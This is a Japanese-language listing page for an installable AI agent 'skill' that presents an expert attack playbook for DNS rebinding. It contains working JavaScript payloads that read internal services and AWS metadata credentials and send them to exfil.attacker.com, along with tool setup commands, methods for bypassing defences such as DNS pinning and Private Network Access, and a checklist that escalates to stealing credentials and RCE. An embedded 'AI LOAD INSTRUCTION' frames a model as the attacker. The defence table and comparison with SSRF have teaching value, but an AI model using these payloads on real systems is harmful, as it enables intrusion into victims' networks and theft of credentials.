dns-rebinding-attacks について
DNS rebindingを扱うセキュリティスキルガイドです。DNS応答の変更でブラウザーから内部サービスへアクセスする仕組みを、SSRFとの違いも含めて解説します。
主な機能
- 01ブラウザー側のDNS rebindingの原理
- 02TTLとDNSキャッシュの回避
- 03HTTP、WebSocket、TOCTOUの手法
- 04内部ターゲットと防御策の分析
- 05Singularityやrbndr.usなどのツール解説
活用シーン
- 01DNS rebindingとSSRFの違いの把握
- 02許可されたテストでの手法選定
- 03内部サービスと一般的な防御策の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill dns-rebinding-attacksインストール後、Claude Code で/dns-rebinding-attacksを入力して読み込まれたか確認します。
詳細
SKILL:DNS リバインディング — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:DNS 操作によって同一オリジンポリシーを回避するための、エキスパート向け DNS リバインディング技術です。TTL のトリック、ブラウザーキャッシュの回避策、攻撃のバリエーション(HTTP、WebSocket、TOCTOU)、内部サービスの標的化、ツールの使用方法を扱います。ベースモデルは DNS リバインディングと SSRF を混同します。このスキルでは、クライアント側で発生することと、固有の悪用経路を明確にします。
0. 関連ルーティング
- ssrf-server-side-request-forgery — サーバー側のバリエーションです。DNS リバインディングはそのクライアント側の対となる手法です
- cors-cross-origin-misconfiguration — CORS の設定ミスによって、代わりにクロスオリジンの読み取りが直接許可される場合に参照してください
1. 基本原則
ブラウザーの同一オリジンポリシーは、protocol + host + port に基づきます。host は接続時に DNS を介して解決されます。攻撃者が attacker.com の DNS サーバーを制御している場合、次のことができます。
- 最初の名前解決 → 攻撃者の IP(悪意ある JS を配信)
- 2 回目の名前解決 → 内部 IP(被害者のネットワーク)
- ブラウザーは両方の応答を同一オリジン(
attacker.com)と見なします - 悪意ある JS が内部サービスからの応答を読み取ります
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint
重要なポイント:SOP は解決後の IP ではなく、ホスト名の文字列を確認します。DNS により、同じホスト名の背後にある IP を変更できます。
2. TTL の操作
DNS サーバーの設定
攻撃者は、自分のドメインを担当する権威 DNS サーバーを運用し、次のように応答を切り替えます。
| クエリ番号 | 応答 | TTL |
|---|---|---|
| 1 回目 | 攻撃者の IP(例:1.2.3.4) | 0 |
| 2 回目以降 | 標的の内部 IP(例:192.168.1.1) | 0 |
TTL=0 は、リゾルバーに結果をキャッシュしないよう指示し、次回の接続時に再度名前解決させます。
ブラウザーの DNS キャッシュの実情
ブラウザーは独自の DNS キャッシュを保持しており、短い TTL を無視します。
| ブラウザー | 内部 DNS キャッシュ | 回避手法 |
|---|---|---|
| Chrome | 最低約 60 秒 | 60 秒待機するか、複数のサブドメインを使用 |
| Firefox | 約 60 秒(network.dnsCacheExpiration) | about:config で調整可能 |
| Safari | 約 ~さまざま | 一般にキャッシュ期間は短め |
| Edge (Chromium) | Chrome と同じ(約 60 秒) | Chrome と同じ手法 |
回避策
1. Multiple A records technique:
- Return BOTH attacker IP and target IP in single DNS response
- Browser tries first IP; if connection fails → falls back to second
- Block attacker IP after initial page load → forces fallback to internal IP
2. Subdomain flooding:
- Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
- Each subdomain gets fresh DNS resolution (no cache hit)
3. Service worker flush:
- Register service worker that intercepts and delays requests
- By the time fetch executes, DNS cache has expired
3. 攻撃のバリエーション
3.1 従来型 HTTP リバインディング
標的:内部 Web サービス(管理パネル、REST API)
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}
3.2 WebSocket リバインディング
WebSocket 接続は DNS リバインディング後も持続します。まず WS 接続を確立してから、リバインドします。
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};
3.3 検査と使用の間の競合状態(TOCTOU)
リクエスト時に DNS を検証しながら、接続を再利用するサーバー側アプリケーションです。
1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP
これは SSRF とのハイブリッドです。リバインディングはサーバーのリゾルバーで発生します。
3.4 複数の A レコード(最速のバリエーション)
DNS response for attacker.com:
A 1.2.3.4 (attacker — serves JS)
A 192.168.1.1 (target — internal service)
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS
4. 価値の高い標的
| 標的 | ポート | 理由 |
|---|---|---|
| クラウドメタデータ | 169.254.169.254:80 | AWS/GCP/Azure インスタンスの認証情報、トークン |
| Docker API | 172.17.0.1:2375 | コンテナーの作成、ホストのファイルシステムのマウント → RCE |
| Kubernetes API | 10.96.0.1:443/6443 | Pod の作成、シークレットの読み取り |
| 内部管理パネル | さまざま | ルーターの設定、NAS、プリンター、SCADA |
| IoT デバイス | 192.168.x.x:80/443 | カメラ映像、スマートホームの制御 |
| Elasticsearch | *:9200 | データの窃取、インデックスの操作 |
| Redis | *:6379 | データの読み取り、RCE を実行するための設定 |
| Consul/etcd | *:8500/2379 | サービスディスカバリー、シークレットの保存 |
クラウドメタデータ固有の事項
// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(role => {
return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
})
.then(r => r.json())
.then(creds => {
navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
});
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header
IMDSv2 の防御:PUT リクエストの X-aws-ec2-metadata-token ヘッダーが必要です。no-cors モードでは、リバインディングによって初回のトークンリクエストにカスタムヘッダーを簡単に設定できません。
5. ツール
| ツール | 用途 | URL |
|---|---|---|
| Singularity | DNS リバインディング攻撃の包括的なフレームワーク | github.com/nccgroup/singularity |
| rbndr.us | 手軽に使える DNS リバインディングサービス(サブドメインに IP のペアを指定) | rbndr.us |
| whonow | 動的 DNS リバインディングサーバー | github.com/taviso/whonow |
| dnsrebinder | リバインディング用の最小構成の Python DNS サーバー | カスタム/各種リポジトリ |
Singularity のクイックスタート
# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go
# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
-ResponseIPAddr 1.2.3.4 \
-RebindingFn sequential \
-ResponseReboundIPAddr 192.168.1.1
rbndr.us(セットアップ不要)
Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
→ alternates between 127.0.0.1 and 192.168.1.1
Convert IP to hex:
192.168.1.1 → c0.a8.01.01 → c0a80101
127.0.0.1 → 7f.00.00.01 → 7f000001
6. DNS リバインディングと SSRF
| 項目 | DNS リバインディング | SSRF |
|---|---|---|
| 実行コンテキスト | クライアント側(ブラウザー) | サーバー側 |
| オリジンの制限の回避 | 同一オリジンポリシー | ネットワークアクセス制御 |
| 攻撃者が制御するもの | DNS 解決 | サーバーが送信する URL/リクエスト |
| 必要条件 | 被害者が攻撃者のページにアクセスする | 脆弱なサーバー側フェッチ |
| 内部アクセスの経由先 | 被害者のネットワーク上のブラウザー | サーバーのネットワーク上の位置 |
| 認証情報の付与 | ブラウザーの Cookie が自動的に付与される | ユーザーの認証情報は含まれない |
| プロトコルのサポート | HTTP/WS(ブラウザーの制限あり) | あらゆるプロトコル(gopher、file など) |
重要な違い:DNS リバインディングは、被害者のブラウザーを中継点として利用するため、被害者のネットワークから見えるサービスに、被害者の Cookie/認証情報を使ってアクセスします。
7. 防御策とその回避
一般的な防御策
| 防御策 | 仕組み |
|---|---|
| DNS ピンニング | ブラウザー/リゾルバーが DNS をキャッシュし、再解決を拒否する |
| Host ヘッダーの検証 | サーバーが予期しない Host ヘッダーを含むリクエストを拒否する |
| ネットワークのセグメンテーション | 内部サービスにブラウザーネットワークからアクセスできないようにする |
| プライベートネットワークアクセス(PNA) | Chrome の提案:プライベート IP へのリクエストに対してプリフライトを行う |
| 内部サービスの認証 | 内部サービスがネットワークアクセスだけでなく認証も要求する |
防御策を回避する手法
DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)
Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations
Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected
8. 判断フロー
Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│ ├── YES → DNS rebinding is viable
│ │ │
│ │ ├── What is the target?
│ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
│ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
│ │ │ └── Cloud metadata → Metadata exfil (Section 4)
│ │ │
│ │ ├── Browser cache concern?
│ │ │ ├── Chrome → Wait 60s or use multiple subdomains
│ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│ │ │ └── Use multiple A records technique for instant rebind
│ │ │
│ │ ├── Target checks Host header?
│ │ │ ├── YES → Rebinding alone won't work
│ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│ │ │ └── NO → Proceed with rebinding
│ │ │
│ │ └── Need credentials?
│ │ ├── Browser auto-sends cookies → works if same-site allows
│ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
│ │
│ └── NO → DNS rebinding not applicable
│ └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
├── YES → Hybrid approach (Section 3.3)
│ └── SSRF with DNS rebinding for IP validation bypass
└── NO → Review ../ssrf-server-side-request-forgery/ instead
9. 実環境でのエクスプロイト確認チェックリスト
□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data